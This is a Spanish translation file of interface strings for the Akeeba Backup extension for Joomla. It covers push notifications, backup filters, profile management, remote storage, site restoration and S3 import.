COM_AKEEBABACKUP_CONTROLPANEL_WEBPUSH_HEAD="Notificaciones push"
COM_AKEEBABACKUP_CONTROLPANEL_WEBPUSH_SUMMARY="Gestionar las notificaciones push en su navegador"
COM_AKEEBABACKUP_CONTROLPANEL_WEBPUSH_DETAILS="Las notificaciones push se gestionan por navegador y dispositivo a través de la API Push del navegador. Es posible que algunos navegadores más antiguos no admitan las notificaciones push. Lea la documentación para obtener más información."
COM_AKEEBABACKUP_CONTROLPANEL_WEBPUSH_LBL_UNAVAILABLE_HEAD="Las notificaciones push no están disponibles"
COM_AKEEBABACKUP_CONTROLPANEL_WEBPUSH_LBL_UNAVAILABLE_BODY="Su navegador no admite la API Push. Utilice una versión reciente de Firefox, Chrome, Edge, Opera u otros navegadores compatibles con la API Web Push. <br/><small>La API Push también es compatible con Safari en macOS Ventura y versiones posteriores, así como iOS 16.1 y versiones posteriores.</small>"
COM_AKEEBABACKUP_CONTROLPANEL_WEBPUSH_LBL_UNAVAILABLE_SERVER_BODY="Su servidor no cumple los requisitos mínimos para usar la API Push del navegador para enviar notificaciones. Consulte la documentación para obtener la lista de requisitos de esta función."
COM_AKEEBABACKUP_CONTROLPANEL_WEBPUSH_BTN_SUBSCRIBE="Activar notificaciones push"
COM_AKEEBABACKUP_CONTROLPANEL_WEBPUSH_BTN_UNSUBSCRIBE="Desactivar notificaciones push"
COM_AKEEBABACKUP_CONTROLPANEL_WEBPUSH_HELLO_TITLE="Notificaciones de Akeeba Backup activadas en %s"
COM_AKEEBABACKUP_CONTROLPANEL_WEBPUSH_HELLO_BODY="Este mensaje confirma que la activación de las notificaciones push ha funcionado y le muestra cómo serán las notificaciones de Akeeba Backup."

COM_AKEEBABACKUP_DBFILTER="Exclusión de tablas de base de datos"
COM_AKEEBABACKUP_DBFILTER_LABEL_EXCLUDENONCORE="Excluir tablas no principales"
COM_AKEEBABACKUP_DBFILTER_LABEL_NUKEFILTERS="Restablecer todos los filtros"
COM_AKEEBABACKUP_DBFILTER_LABEL_ROOTDIR="Base de datos actual:"
COM_AKEEBABACKUP_DBFILTER_LABEL_SITEDB="Base de datos principal del sitio"
COM_AKEEBABACKUP_DBFILTER_LABEL_TABLES="Tablas de base de datos, vistas, procedimientos, funciones y disparadores"
COM_AKEEBABACKUP_DBFILTER_TABLE_FUNCTION="Función almacenada"
COM_AKEEBABACKUP_DBFILTER_TABLE_META_ROWCOUNT="Número de filas"
COM_AKEEBABACKUP_DBFILTER_TABLE_MISC="Tipo de tabla Merge, temporal, de memoria, federada, blackhole o miscelánea<br/>Sus datos nunca se incluyen en la copia de seguridad de Akeeba Backup."
COM_AKEEBABACKUP_DBFILTER_TABLE_PROCEDURE="Procedimiento almacenado"
COM_AKEEBABACKUP_DBFILTER_TABLE_TABLE="Tabla de base de datos"
COM_AKEEBABACKUP_DBFILTER_TABLE_TRIGGER="Disparador de base de datos"
COM_AKEEBABACKUP_DBFILTER_TABLE_VIEW="Vista MySQL"
COM_AKEEBABACKUP_DBFILTER_TABLE_TEMP="Tabla temporal"
COM_AKEEBABACKUP_DBFILTER_TABLE_UNKNOWN="Otro tipo de entidad de base de datos"
COM_AKEEBABACKUP_DBFILTER_TYPE_REGEXTABLEDATA="No incluir en la copia de seguridad el contenido de una tabla"
COM_AKEEBABACKUP_DBFILTER_TYPE_REGEXTABLES="Excluir una tabla"
COM_AKEEBABACKUP_DBFILTER_TYPE_TABLEDATA="No incluir en la copia de seguridad su contenido"
COM_AKEEBABACKUP_DBFILTER_TYPE_TABLES="Excluir esta"

COM_AKEEBABACKUP_DISCOVER="Importar archivos"
COM_AKEEBABACKUP_DISCOVER_ERROR_NODIRECTORY="No ha seleccionado un directorio válido"
COM_AKEEBABACKUP_DISCOVER_ERROR_NOFILES="No hay archivos de copia de seguridad para importar en el directorio seleccionado. Vuelva atrás y seleccione otro directorio."
COM_AKEEBABACKUP_DISCOVER_ERROR_NOFILESSELECTED="No ha seleccionado ningún archivo para importar."
COM_AKEEBABACKUP_DISCOVER_LABEL_DIRECTORY="Directorio"
COM_AKEEBABACKUP_DISCOVER_LABEL_FILES="Archivos de copia de seguridad detectados"
COM_AKEEBABACKUP_DISCOVER_LABEL_GOBACK="Volver a la selección de directorio"
COM_AKEEBABACKUP_DISCOVER_LABEL_IMPORT="Importar los archivos"
COM_AKEEBABACKUP_DISCOVER_LABEL_IMPORTDONE="La operación de importación se completó correctamente."
COM_AKEEBABACKUP_DISCOVER_LABEL_IMPORTEDDESCRIPTION="Archivo de copia de seguridad importado"
COM_AKEEBABACKUP_DISCOVER_LABEL_S3IMPORT="¿Sus archivos están almacenados en Amazon S3? ¡Haga clic <a href=\"%s\">aquí</a> para descargarlos e importarlos en un solo paso!"
COM_AKEEBABACKUP_DISCOVER_LABEL_SCAN="Buscar archivos"
COM_AKEEBABACKUP_DISCOVER_LABEL_SELECTDIR="Seleccione un directorio que contenga archivos de copia de seguridad"
COM_AKEEBABACKUP_DISCOVER_LABEL_SELECTFILES="Seleccione los archivos a importar. Mantenga pulsada la tecla CTRL o Comando mientras hace clic en los archivos para realizar una selección múltiple."

COM_AKEEBABACKUP_EMAIL_POSTPROCESSING_FAILED="El postprocesamiento (subida al almacenamiento remoto) ha FALLADO."
COM_AKEEBABACKUP_EMAIL_POSTPROCESSING_SUCCESS="El postprocesamiento (subida al almacenamiento remoto) se realizó correctamente."

COM_AKEEBABACKUP_FILEFILTERS="Exclusión de archivos y directorios"
COM_AKEEBABACKUP_FILEFILTERS_EDITOR_TITLE="Editar"
COM_AKEEBABACKUP_FILEFILTERS_LABEL_ADDNEWFILTER="Añadir nuevo filtro:"
COM_AKEEBABACKUP_FILEFILTERS_LABEL_DIRS="Subdirectorios"
COM_AKEEBABACKUP_FILEFILTERS_LABEL_FILES="Archivos"
COM_AKEEBABACKUP_FILEFILTERS_LABEL_FILTERITEM="Elemento de filtro"
COM_AKEEBABACKUP_FILEFILTERS_LABEL_NORMALVIEW="Vista de navegador"
COM_AKEEBABACKUP_FILEFILTERS_LABEL_NUKEFILTERS="Restablecer todos los filtros"
COM_AKEEBABACKUP_FILEFILTERS_LABEL_ROOTDIR="Directorio raíz:"
COM_AKEEBABACKUP_FILEFILTERS_LABEL_TABULARVIEW="Vista de resumen"
COM_AKEEBABACKUP_FILEFILTERS_LABEL_TYPE="Tipo"
COM_AKEEBABACKUP_FILEFILTERS_LABEL_UIERRORFILTER="Se ha producido un error al aplicar el filtro para &quot;%s&quot;."
COM_AKEEBABACKUP_FILEFILTERS_LABEL_UIROOT="&lt;raíz&gt;"
COM_AKEEBABACKUP_FILEFILTERS_LABEL_VIEWALL="Listar todas las exclusiones"
COM_AKEEBABACKUP_FILEFILTERS_TYPE_APPLYTOALLDIRS="Aplicar a todas las carpetas listadas"
COM_AKEEBABACKUP_FILEFILTERS_TYPE_APPLYTOALLFILES="Aplicar a todos los archivos listados"
COM_AKEEBABACKUP_FILEFILTERS_TYPE_DIRECTORIES="Excluir directorio"
COM_AKEEBABACKUP_FILEFILTERS_TYPE_DIRECTORIES_ALL="Excluir todos los directorios"
COM_AKEEBABACKUP_FILEFILTERS_TYPE_FILES="Excluir archivo"
COM_AKEEBABACKUP_FILEFILTERS_TYPE_FILES_ALL="Excluir todos los archivos"
COM_AKEEBABACKUP_FILEFILTERS_TYPE_SKIPDIRS="Omitir subdirectorios"
COM_AKEEBABACKUP_FILEFILTERS_TYPE_SKIPDIRS_ALL="Omitir todos los directorios"
COM_AKEEBABACKUP_FILEFILTERS_TYPE_SKIPFILES="Omitir archivos"
COM_AKEEBABACKUP_FILEFILTERS_TYPE_SKIPFILES_ALL="Omitir todos los archivos"
COM_AKEEBABACKUP_FILTER_SELECT_QUICKICON="– Icono de copia de seguridad con un clic –"

COM_AKEEBABACKUP_INCLUDEFOLDER="Inclusión de directorios fuera del sitio"
COM_AKEEBABACKUP_INCLUDEFOLDER_LABEL_DIRECTORY="Directorio"
COM_AKEEBABACKUP_INCLUDEFOLDER_LABEL_DIRECTORY_HELP="El directorio de su servidor que se incluirá en la copia de seguridad. Esta función está pensada únicamente para directorios ubicados fuera de la raíz de su sitio. Los directorios dentro de la raíz del sitio siempre se incluyen automáticamente en la copia de seguridad, a menos que los excluya mediante la función de Exclusión de archivos y directorios."
COM_AKEEBABACKUP_INCLUDEFOLDER_LABEL_VINCLUDEDIR="Subdirectorio virtual"
COM_AKEEBABACKUP_INCLUDEFOLDER_LABEL_VINCLUDEDIR_HELP="Los archivos se almacenan en el archivo dentro de un subdirectorio del directorio virtual para archivos fuera del sitio, definido en su configuración (por defecto: external_files). Puede personalizar el nombre de ese directorio. Establézcalo en una sola barra diagonal (el carácter: /) y sus archivos externos se colocarán dentro de la raíz de su sitio. Esto es útil si desea anular ciertos archivos en la copia de seguridad, p. ej. su archivo configuration.php o personalizar la plantilla del script de instalación."

COM_AKEEBABACKUP_LBL_BATCH_COPY="Copiar"
COM_AKEEBABACKUP_LBL_CPANEL_NEEDSDLID="Debe introducir su <strong>ID de descarga</strong> antes de poder actualizar Akeeba Backup Professional y usar algunas de sus funciones de almacenamiento remoto. <a href='%s' target='_blank'>Si no conoce su ID de descarga, haga clic aquí</a>."
COM_AKEEBABACKUP_LBL_CPANEL_NEEDSUPGRADE_HEAD="Introducir el ID de descarga no es suficiente para activar las funciones de Akeeba Backup Professional"
COM_AKEEBABACKUP_LBL_CPANEL_NEEDSUPGRADE_BODY="Deberá descargar e instalar el paquete de Akeeba Backup Professional en su sitio <em>dos veces</em>, sin desinstalar la versión Core. Para más información e instrucciones detalladas, consulte nuestro <a href='%s'>tutorial en vídeo sobre cómo actualizar Akeeba Backup Core a Professional</a>."
COM_AKEEBABACKUP_LBL_PROFILES_SAVED="El perfil se guardó correctamente"
COM_AKEEBABACKUP_LBL_PROFILE_COPIED="El perfil y sus ajustes asociados se han copiado correctamente"
COM_AKEEBABACKUP_LBL_PROFILE_DELETED="El perfil se ha eliminado correctamente"
COM_AKEEBABACKUP_LBL_PROFILE_SAVED="El perfil se guardó correctamente"

COM_AKEEBABACKUP_LOG="Ver registro"
COM_AKEEBABACKUP_LOG_CHOOSE_FILE_TITLE="Seleccione un archivo de registro para mostrar:"
COM_AKEEBABACKUP_LOG_CHOOSE_FILE_VALUE="- Seleccione un origen de copia de seguridad -"
COM_AKEEBABACKUP_LOG_ERROR_LOGFILENOTEXISTS="El archivo de registro no existe en su directorio de salida"
COM_AKEEBABACKUP_LOG_ERROR_UNREADABLE="El archivo de registro no es legible"
COM_AKEEBABACKUP_LOG_LABEL_DOWNLOAD="Descargar archivo de registro"
COM_AKEEBABACKUP_LOG_NONE_FOUND="No se encontró ningún archivo de registro"
COM_AKEEBABACKUP_LOG_SHOW_LOG="Mostrar registro"
COM_AKEEBABACKUP_LOG_SIZE_WARNING="Su archivo de registro pesa %s Mb. Intentar mostrarlo en el navegador puede bloquearlo o provocar un error de tiempo de espera en su servidor. Utilice el botón Descargar registro que aparece arriba para descargarlo a su ordenador. Puede abrirlo y leerlo con cualquier editor de texto sin formato."

COM_AKEEBABACKUP_MULTIDB="Definiciones de múltiples bases de datos"
COM_AKEEBABACKUP_MULTIDB_ERR_MISSINGINFO="Debe especificar como mínimo un controlador de base de datos, nombre de host, nombre de usuario, contraseña y nombre de base de datos."
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_CANCEL="Cancelar"
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_CONNECTFAIL="No se pudo conectar a la base de datos. Compruebe sus ajustes. Último error:"
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_CONNECTOK="¡Conectado a la base de datos!"
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_DATABASE="Nombre de la base de datos"
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_DRIVER="Controlador de base de datos"
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_HOST="Nombre de host del servidor de base de datos"
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_LOADING="Cargando, espere por favor..."
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_PASSWORD="Contraseña"
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_PORT="Puerto del servidor de base de datos"
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_PREFIX="Prefijo"
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_SAVE="Guardar"
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_SAVEFAIL="Error al guardar; inténtelo de nuevo"
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_TEST="Probar conexión"
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_USERNAME="Nombre de usuario"
COM_AKEEBABACKUP_MULTIDB_LABEL_DATABASE="Nombre de la base de datos"
COM_AKEEBABACKUP_MULTIDB_LABEL_HOST="Nombre de host del servidor de base de datos"

COM_AKEEBABACKUP_PROFILES="Gestión de perfiles"
COM_AKEEBABACKUP_PROFILES_BTN_EXPORT="Exportar"
COM_AKEEBABACKUP_PROFILES_BTN_PUBLISH="Activar icono de copia de seguridad con un clic"
COM_AKEEBABACKUP_PROFILES_BTN_RESET="Restablecer"
COM_AKEEBABACKUP_PROFILES_BTN_UNPUBLISH="Desactivar icono de copia de seguridad con un clic"
COM_AKEEBABACKUP_PROFILES_ERROR_RESET_FAILED="Error al restablecer la configuración y los filtros del perfil de copia de seguridad. Motivo: %s"
COM_AKEEBABACKUP_PROFILES_ERR_IMPORT_FAILED="Error en la importación del perfil"
COM_AKEEBABACKUP_PROFILES_ERR_IMPORT_INVALID="Archivo no válido. Este archivo no parece ser un archivo .json de perfil exportado."
COM_AKEEBABACKUP_PROFILES_FILTER_SEARCH_DESC="Busque un perfil introduciendo parte de su descripción. Busque un perfil por su ID usando la sintaxis <code>id:123</code> donde 123 es el ID numérico del perfil."
COM_AKEEBABACKUP_PROFILES_FILTER_SEARCH_LABEL="Descripción"
COM_AKEEBABACKUP_PROFILES_HEADER_IMPORT="Importar"
COM_AKEEBABACKUP_PROFILES_IMPORT="Importar"
COM_AKEEBABACKUP_PROFILES_LABEL_DESCRIPTION="Descripción del perfil"
COM_AKEEBABACKUP_PROFILES_LABEL_DESCRIPTION_TOOLTIP="Introduzca una descripción para este perfil. No tiene que ser única y solo se utiliza para ayudarle a distinguir los perfiles individuales."
COM_AKEEBABACKUP_PROFILES_LBL_EXPLAIN_PROFILES="Cada perfil de copia de seguridad es un conjunto de opciones de configuración y opciones de filtros de inclusión y exclusión. Indica a Akeeba Backup qué respaldar y cómo hacerlo, y dónde almacenar los archivos de copia de seguridad."
COM_AKEEBABACKUP_PROFILES_LBL_IMPORT_HELP="Seleccione un archivo .json de perfil exportado de este u otro sitio para importar rápidamente su configuración."
COM_AKEEBABACKUP_PROFILES_MSG_IMPORT_COMPLETE="Perfil importado correctamente"
COM_AKEEBABACKUP_PROFILES_N_ITEMS_DELETED="Se han eliminado %d perfiles de copia de seguridad."
COM_AKEEBABACKUP_PROFILES_N_ITEMS_DELETED_1="El perfil de copia de seguridad ha sido eliminado."
COM_AKEEBABACKUP_PROFILES_N_ITEMS_PUBLISHED="La copia de seguridad con un clic se activó para %d perfiles."
COM_AKEEBABACKUP_PROFILES_N_ITEMS_PUBLISHED_1="La copia de seguridad con un clic se activó para el perfil."
COM_AKEEBABACKUP_PROFILES_N_ITEMS_RESET="La configuración y los filtros de %d perfiles de copia de seguridad han sido restablecidos."
COM_AKEEBABACKUP_PROFILES_N_ITEMS_RESET_1="La configuración y los filtros del perfil de copia de seguridad han sido restablecidos."
COM_AKEEBABACKUP_PROFILES_N_ITEMS_UNPUBLISHED="La copia de seguridad con un clic se desactivó para %d perfiles."
COM_AKEEBABACKUP_PROFILES_N_ITEMS_UNPUBLISHED_1="La copia de seguridad con un clic se desactivó para el perfil."
COM_AKEEBABACKUP_PROFILES_PAGETITLE_EDIT="Editar un perfil de copia de seguridad"
COM_AKEEBABACKUP_PROFILES_PAGETITLE_NEW="Nuevo perfil de copia de seguridad"
COM_AKEEBABACKUP_PROFILES_TABLE_CAPTION="Tabla de perfiles de copia de seguridad"
COM_AKEEBABACKUP_PROFILE_ERR_CANNOTDELETEACTIVE="No puede eliminar el perfil activo actualmente. Vaya a la página del Panel de control, seleccione un perfil diferente y vuelva a esta página para eliminar el perfil n.º %d."
COM_AKEEBABACKUP_PROFILE_ERR_CANNOTDELETEDEFAULT="No puede eliminar el perfil predeterminado (el que tiene id=1)"
COM_AKEEBABACKUP_PROFILE_ERR_NOACCESS="No tiene acceso a este perfil de copia de seguridad"

COM_AKEEBABACKUP_PUSH_ENDBACKUP_FAIL_BODY="Akeeba Backup ha detectado que la copia de seguridad de su sitio \"%s\" ubicado en %s ha fallado."
COM_AKEEBABACKUP_PUSH_ENDBACKUP_FAIL_BODY_WITH_MESSAGE="Akeeba Backup ha detectado que la copia de seguridad de su sitio \"%s\" ubicado en %s ha fallado. El mensaje de error de la copia de seguridad es:\n%s"
COM_AKEEBABACKUP_PUSH_ENDBACKUP_FAIL_SUBJECT="Copia de seguridad fallida para %s"
COM_AKEEBABACKUP_PUSH_ENDBACKUP_SUCCESS_BODY="Akeeba Backup ha completado correctamente la copia de seguridad de su sitio \"%s\" ubicado en %s el %s."
COM_AKEEBABACKUP_PUSH_ENDBACKUP_SUCCESS_SUBJECT="Copia de seguridad correcta para %s"
COM_AKEEBABACKUP_PUSH_ENDBACKUP_WARNINGS_BODY="Akeeba Backup ha finalizado la copia de seguridad de su sitio \"%s\" ubicado en %s el %s, pero se han emitido advertencias. Esto podría significar que algunos archivos no se han incluido en la copia de seguridad o, si está subiendo automáticamente la copia de seguridad al almacenamiento remoto, que la subida puede haber fallado.\nDebe revisar las advertencias y asegurarse de que su copia de seguridad se ha completado correctamente. Le aconsejamos que pruebe siempre una copia de seguridad que haya generado advertencias para asegurarse de que funciona correctamente. Puede hacerlo restaurándola en un servidor local. Recuerde que una copia de seguridad no probada equivale a no tener ninguna copia de seguridad."
COM_AKEEBABACKUP_PUSH_ENDBACKUP_WARNINGS_SUBJECT="Copia de seguridad finalizada con advertencias para %s"
COM_AKEEBABACKUP_PUSH_STARTBACKUP_BODY="Akeeba Backup ha comenzado a realizar una copia de seguridad del sitio \"%s\" ubicado en %s el %s."
COM_AKEEBABACKUP_PUSH_STARTBACKUP_SUBJECT="Copia de seguridad iniciada para %s"

COM_AKEEBABACKUP_REGEXDBFILTERS="Exclusión de tablas de base de datos mediante expresiones regulares"
COM_AKEEBABACKUP_REGEXFSFILTERS="Exclusión de archivos y directorios mediante expresiones regulares"

COM_AKEEBABACKUP_REMOTEFILES="Gestión de archivos almacenados remotamente"
COM_AKEEBABACKUP_REMOTEFILES_DELETE="Eliminar"
COM_AKEEBABACKUP_REMOTEFILES_ERR_CANTDELETE="No se pudo eliminar el archivo almacenado remotamente. El error fue: "
COM_AKEEBABACKUP_REMOTEFILES_ERR_CANTDOWNLOAD="No se pudo descargar el archivo. El error fue: "
COM_AKEEBABACKUP_REMOTEFILES_ERR_CANTOPENFILE="No se puede abrir el archivo local %s para escritura; se cancela el proceso de descarga"
COM_AKEEBABACKUP_REMOTEFILES_ERR_DELETE_ALREADY="Ya ha eliminado el archivo almacenado remotamente. Debe transferir el archivo de nuevo para que las funciones de descarga y eliminación del archivo remoto vuelvan a estar disponibles."
COM_AKEEBABACKUP_REMOTEFILES_ERR_DOWNLOADEDTOFILE_ALREADY="Ya ha recuperado el archivo almacenado remotamente al servidor de su sitio. Seleccione el registro de copia de seguridad y haga clic en Eliminar archivos para quitar el archivo almacenado en el servidor de su sitio y volver a activar este botón."
COM_AKEEBABACKUP_REMOTEFILES_ERR_INVALIDID="ID de descarga especificado no válido"
COM_AKEEBABACKUP_REMOTEFILES_ERR_NOTSUPPORTED="Lo sentimos, el motor de almacenamiento remoto que está usando no admite la descarga ni la eliminación de archivos almacenados remotamente."
COM_AKEEBABACKUP_REMOTEFILES_ERR_NOTSUPPORTED_ALREADYONSERVER="Ya ha eliminado los archivos almacenados de forma remota usando Akeeba Backup."
COM_AKEEBABACKUP_REMOTEFILES_ERR_NOTSUPPORTED_HEADER="No hay operaciones de archivos remotos disponibles"
COM_AKEEBABACKUP_REMOTEFILES_ERR_UNSUPPORTED="Esta funcionalidad no está admitida actualmente por el motor de posprocesamiento utilizado por el registro de copia de seguridad actual."
COM_AKEEBABACKUP_REMOTEFILES_FETCH="Recuperar al servidor"
COM_AKEEBABACKUP_REMOTEFILES_INPROGRESS_HEADER="Operación en curso"
COM_AKEEBABACKUP_REMOTEFILES_INPROGRESS_LBL_PLEASEWAIT="Cargando, por favor espere."
COM_AKEEBABACKUP_REMOTEFILES_INPROGRESS_LBL_UNDERWAY="La operación solicitada está actualmente en curso."
COM_AKEEBABACKUP_REMOTEFILES_INPROGRESS_LBL_WAITINGINFO="Recibirá una actualización sobre su progreso en unos pocos segundos o como máximo en tres minutos."
COM_AKEEBABACKUP_REMOTEFILES_LBL_DOWNLOADEDSOFAR="Descargados %u bytes de %u bytes totales (%u %%)"
COM_AKEEBABACKUP_REMOTEFILES_LBL_DOWNLOADLOCALLY="Descargar al escritorio"
COM_AKEEBABACKUP_REMOTEFILES_LBL_JUSTFINISHED="Se ha completado la descarga del conjunto de copia de seguridad desde el almacenamiento remoto al servidor local"
COM_AKEEBABACKUP_REMOTEFILES_LBL_JUSTFINISHEDELETING="Los archivos almacenados remotamente se han eliminado correctamente"
COM_AKEEBABACKUP_REMOTEFILES_PART="Parte #%u"

COM_AKEEBABACKUP_RESTORE="Restauración del sitio"
COM_AKEEBABACKUP_RESTORE_LABEL_ARCHIVE_INFORMATION="Se restaurará la copia de seguridad #%d"
COM_AKEEBABACKUP_RESTORE_LABEL_WARN_ABOUT_RESTORE="Restaurar una copia de seguridad <em>reemplazará</em> su sitio con la instantánea contenida en el archivo de copia de seguridad. Cualquier cambio realizado en su sitio desde el momento de la copia de seguridad se <em>perderá para siempre</em>. Por favor, verifique que está restaurando el archivo de copia de seguridad correcto."
COM_AKEEBABACKUP_RESTORE_ERROR_ARCHIVE_MISSING="No se pudo localizar el archivo de copia de seguridad"
COM_AKEEBABACKUP_RESTORE_ERROR_CANT_WRITE="No se pudo escribir restoration.php. Por favor, asegúrese de que el directorio <code>administrator/components/com_akeebabackup</code> tiene permisos de escritura."
COM_AKEEBABACKUP_RESTORE_ERROR_INVALID_RECORD="Registro de copia de seguridad no válido"
COM_AKEEBABACKUP_RESTORE_ERROR_INVALID_TYPE="Tipo de archivo no válido. La restauración integrada solo funciona con archivos JPA y ZIP."
COM_AKEEBABACKUP_RESTORE_ERROR_NO_LATEST="No hay ninguna copia de seguridad tomada con el perfil #%d o el archivo de copia de seguridad no está presente en su servidor. Por favor, use la página Gestionar copias de seguridad para identificar sus copias de seguridad, recuperarlas al servidor (si están almacenadas remotamente) y restaurarlas."
COM_AKEEBABACKUP_RESTORE_LABEL_BYTESEXTRACTED="Bytes extraídos"
COM_AKEEBABACKUP_RESTORE_LABEL_BYTESREAD="Bytes leídos"
COM_AKEEBABACKUP_RESTORE_LABEL_DONOTCLOSE="Por favor, <strong>NO</strong> navegue a otra página, cambie a otra pestaña o ventana del navegador, ni cambie a <em>una aplicación diferente</em> hasta que vea un mensaje de finalización o error. Asegúrese de que su dispositivo no entre en modo de suspensión mientras la extracción del archivo de copia de seguridad esté en curso."
COM_AKEEBABACKUP_RESTORE_LABEL_EXTRACTIONMETHOD="Método de extracción de archivos"
COM_AKEEBABACKUP_RESTORE_LABEL_EXTRACTIONMETHOD_DIRECT="Escribir directamente en los archivos"
COM_AKEEBABACKUP_RESTORE_LABEL_EXTRACTIONMETHOD_FTP="Usar la capa FTP"
COM_AKEEBABACKUP_RESTORE_LABEL_EXTRACTIONMETHOD_HYBRID="Híbrido (escribir directamente, usar la capa FTP solo cuando sea necesario)"
COM_AKEEBABACKUP_RESTORE_LABEL_FAILED="La extracción ha fallado"
COM_AKEEBABACKUP_RESTORE_LABEL_FAILED_INFO="La extracción del archivo de copia de seguridad ha fallado.<br/>El último mensaje de error fue:"
COM_AKEEBABACKUP_RESTORE_LABEL_FILESEXTRACTED="Archivos extraídos"
COM_AKEEBABACKUP_RESTORE_LABEL_FINALIZE="Finalizar restauración"
COM_AKEEBABACKUP_RESTORE_LABEL_FTPOPTIONS="Opciones de la capa FTP"
COM_AKEEBABACKUP_RESTORE_LABEL_INPROGRESS="Extracción del archivo en curso"
COM_AKEEBABACKUP_RESTORE_LABEL_MAX_EXEC="Tiempo máximo de ejecución (segundos)"
COM_AKEEBABACKUP_RESTORE_LABEL_MAX_EXEC_TIP="Los archivos se extraerán durante un máximo de este número de segundos en cada paso. Auméntelo para acelerar la extracción. Redúzcalo para evitar tiempos de espera del servidor."
COM_AKEEBABACKUP_RESTORE_LABEL_MIN_EXEC="Tiempo mínimo de ejecución (segundos)"
COM_AKEEBABACKUP_RESTORE_LABEL_MIN_EXEC_TIP="Cada paso de extracción de archivos no devolverá el control durante este número de segundos. Establezca un valor mayor que el ajuste máximo indicado a continuación para añadir &quot;tiempo muerto&quot; en cada paso, reduciendo el uso de recursos."
COM_AKEEBABACKUP_RESTORE_LABEL_REMOTETIP="<strong>Consejo</strong>: Para restaurar en un servidor remoto, seleccione la opción \"Usar la capa FTP\" e introduzca la información de conexión FTP de su servidor remoto en las Opciones de la capa FTP que aparecen a continuación.<br/>Use la opción Híbrido e introduzca la información de conexión FTP del sitio actual si la restauración falla con archivos sin permiso de escritura."
COM_AKEEBABACKUP_RESTORE_LABEL_RUNINSTALLER="Ejecutar el script de restauración del sitio"
COM_AKEEBABACKUP_RESTORE_LABEL_START="Iniciar restauración"
COM_AKEEBABACKUP_RESTORE_LABEL_SUCCESS="La extracción se completó correctamente"
COM_AKEEBABACKUP_RESTORE_LABEL_SUCCESS_INFO2="Ahora debe ejecutar el Script de restauración de Akeeba Backup que se incluyó en su archivo de copia de seguridad en el momento de la copia. <em>¡No cierre esta ventana!</em>. Cuando la restauración haya finalizado, cierre la ventana del Script de restauración de Akeeba Backup y haga clic en el nuevo botón Finalizar restauración que aparece a continuación para eliminar el directorio <code>installation</code> y comenzar a usar su sitio restaurado."
COM_AKEEBABACKUP_RESTORE_LABEL_SUCCESS_INFO2B="Sin embargo, si está restaurando en un sitio remoto, <em>no</em> haga clic en ninguno de los botones. En su lugar, visite la URL del script de restauración en <code>http://<var>www.susitio.com</var>/installation/index.php</code>. Una vez finalizada la restauración, haga clic en el enlace \"Eliminar la carpeta de instalación\" en la página final del script de restauración o, si esto falla, elimine el directorio <code>installation</code> de ese sitio usando su aplicación FTP favorita."
COM_AKEEBABACKUP_RESTORE_LABEL_TIME_HEAD="Ajustes de temporización (avanzado)"
COM_AKEEBABACKUP_RESTORE_LABEL_ZAPBEFORE="Eliminar todo antes de la extracción"
COM_AKEEBABACKUP_RESTORE_LABEL_ZAPBEFORE_HELP="Intenta eliminar todos los archivos y carpetas existentes en el directorio raíz de su sitio antes de extraer el archivo de copia de seguridad. NO tiene en cuenta qué archivos y carpetas existen en el archivo de copia de seguridad ni qué archivos y carpetas fueron excluidos durante la copia de seguridad. Los archivos y carpetas eliminados por esta función NO se pueden recuperar. <strong>¡ADVERTENCIA! ESTO PUEDE ELIMINAR ARCHIVOS Y CARPETAS QUE NO PERTENECEN A SU SITIO. ESTA FUNCIÓN ESTÁ DESTINADA ÚNICAMENTE A USUARIOS MUY EXPERIMENTADOS QUE COMPRENDEN LOS RIESGOS. ÚSELA CON EXTREMA PRECAUCIÓN. AL ACTIVAR ESTA FUNCIÓN USTED ASUME TODA LA RESPONSABILIDAD. ADEMÁS RENUNCIA A CUALQUIER DERECHO A SOLICITAR SOPORTE A AKEEBA LTD.</strong>"
COM_AKEEBABACKUP_RESTORE_LABEL_STEALTHMODE="Activar el modo sigiloso durante la restauración"
COM_AKEEBABACKUP_RESTORE_LABEL_STEALTHMODE_HELP="Los visitantes de su sitio que provengan de una dirección IP diferente a la suya serán redirigidos temporalmente a <code>installation/offline.html</code>, un archivo que les indica que su sitio está en mantenimiento. Solo funciona en servidores que admiten archivos <code>.htaccess</code>. Por favor, lea la documentación para obtener más información."

COM_AKEEBABACKUP_S3IMPORT="Importar archivos desde S3"
COM_AKEEBABACKUP_S3IMPORT_ERR_CANTOPEN="No se puede abrir el archivo temporal que acabamos de crear; su servidor tiene un problema que no podemos solucionar"
COM_AKEEBABACKUP_S3IMPORT_ERR_CANTWRITE="No se puede escribir en el directorio de salida; por favor, compruebe los permisos"
COM_AKEEBABACKUP_S3IMPORT_ERR_NOTENOUGHINFO="No hay suficiente información para conectarse a S3"
COM_AKEEBABACKUP_S3IMPORT_ERR_NOTFOUND="El archivo no se encontró en su bucket de S3"
COM_AKEEBABACKUP_S3IMPORT_LABEL_CHANGEBUCKET="Cambiar bucket"
COM_AKEEBABACKUP_S3IMPORT_LABEL_CONNECT="Conectar a S3"
COM_AKEEBABACKUP_S3IMPORT_LABEL_SELECTBUCKET="– Bucket –"
COM_AKEEBABACKUP_S3IMPORT_MSG_IMPORTCOMPLETE="El archivo se importó correctamente a su sitio"

COM_AKEEBABACKUP_S3_ACCESS_DESCRIPTION="Cómo accederá la API al bucket. Si no está seguro, use Virtual Hosting. Virtual Hosting es el método recomendado y admitido para Amazon S3, que usa una URL del tipo https://BUCKET.ENDPOINT para acceder al bucket. Path Access es un método obsoleto y no admitido que usa una URL del tipo https://ENDPOINT/BUCKET. Solo debe usar Path Access si un proveedor de almacenamiento de terceros con una API compatible con Amazon S3 se lo solicita expresamente."
COM_AKEEBABACKUP_S3_ACCESS_PATH="Path Access (heredado)"
COM_AKEEBABACKUP_S3_ACCESS_TITLE="Acceso al bucket"
COM_AKEEBABACKUP_S3_ACCESS_VIRTUALHOST="Virtual Hosting (recomendado)"
